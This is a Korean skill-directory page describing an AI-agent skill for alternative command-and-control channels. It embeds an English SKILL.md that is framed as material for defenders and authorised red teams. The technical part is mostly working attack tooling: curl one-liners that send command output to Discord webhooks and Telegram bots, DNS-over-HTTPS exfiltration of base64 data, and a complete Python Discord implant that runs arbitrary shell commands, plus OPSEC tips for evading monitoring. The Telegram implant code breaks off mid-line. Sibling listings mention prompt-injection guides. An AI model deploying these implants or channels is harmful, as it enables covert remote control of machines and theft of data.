c2-alternative-channels
하는 일
이 가이드는 공격자가 일반적인 웹 서비스를 이용해 정상처럼 보이는 요청 안에 제어 트래픽을 숨기는 방식을 설명합니다. 허가된 연습에서 이 패턴을 탐지하거나 모의하려는 방어자와 레드팀을 위한 것입니다.
사용하는 경우
- ✓보안 팀이 채팅이나 파일 서비스로 가는 트래픽이 숨은 채널로 쓰이는지 확인하려는 경우.
- ✓허가된 연습에서 방어자가 탐지를 훈련할 수 있도록 은밀한 채널을 모의해야 할 때.
- ✓네트워크 팀이 비정상적인 DNS나 웹 서비스 트래픽에 대한 규칙을 원하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“메시징이나 파일 서비스로 가는 트래픽이 우리 네트워크에서 제어 명령을 숨기고 있는지 탐지 점검 계획을 세워 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 챗봇이나 DNS 조회 같은 채널 유형을 설명하고, 해당 서비스에서 비정상적인 양이나 패턴을 보여 주는 로그와 경고를 제안합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Alternative C2 Channels
Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.
Quick Reference
# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
-d "{\"content\":\"$(whoami)\"}" \
"https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'
# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"
MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|---|---|---|
| Web Service | T1102 | Discord, Telegram, cloud functions as C2 relay |
| Application Layer Protocol: DNS | T1071.004 | DNS-over-HTTPS for command/data tunneling |
| Application Layer Protocol: Mail Protocols | T1071.003 | IMAP/SMTP email-based C2 |
| Encrypted Channel | T1573 | TLS-wrapped comms to legitimate services |
1. Discord Webhook C2
Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to discord.com — a domain almost never blocked.
Setup
# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>
# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History
Implant Logic (Python)
#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os
WEBHOOK_URL = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN = "<BOT_TOKEN>"
CHANNEL_ID = "<CHANNEL_ID>"
HEADERS = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP = 30
LAST_MSG_ID = None
def poll_command():
global LAST_MSG_ID
url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
r = requests.get(url, headers=HEADERS)
if r.status_code != 200:
return None
msgs = r.json()
if not msgs:
return None
msg = msgs[0]
if msg["id"] == LAST_MSG_ID:
return None
LAST_MSG_ID = msg["id"]
return msg["content"]
def send_output(data):
# Discord message limit is 2000 chars; chunk if needed
for i in range(0, len(data), 1900):
chunk = data[i:i+1900]
requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})
while True:
cmd = poll_command()
if cmd and cmd.startswith("!exec "):
try:
out = subprocess.check_output(
cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
).decode(errors="replace")
except subprocess.TimeoutExpired:
out = "[TIMEOUT]"
except Exception as e:
out = f"[ERROR] {e}"
send_output(out)
time.sleep(SLEEP)
OPSEC Notes
- All traffic goes to
discord.com:443— TLS-encrypted, CDN-hosted - Rate limit: ~5 requests/sec per webhook; space commands to avoid
429 - Bot token exposure = full channel compromise; rotate after engagement
- Discord logs message content — treat the channel as burned post-op
2. Telegram Bot C2
Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.
Setup
# Create bot via @BotFather on Telegram:
# /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'
Implant Logic (Python)
#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time
BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID = "<CHAT_ID>"
API = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET = 0
SLEEP = 15
def poll():
global OFFSET
r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
updates = r.json().get("result", [])
for u in updates:
OF
자주 묻는 질문
이 채널은 왜 막기 어렵나요?
많은 조직이 허용해야 하는 인기 서비스를 사용하기 때문이라고 가이드는 말합니다.
어떤 트래픽을 감시해야 하나요?
예상하지 않은 서버에서 채팅, 파일, DNS-over-HTTPS 서비스로 가는 정기적인 연결입니다.
허가된 연습용인가요?
네. 이런 채널의 모의에는 서면 범위가 필요합니다.
상세 정보
작성자의 원본 설명
Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14126
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.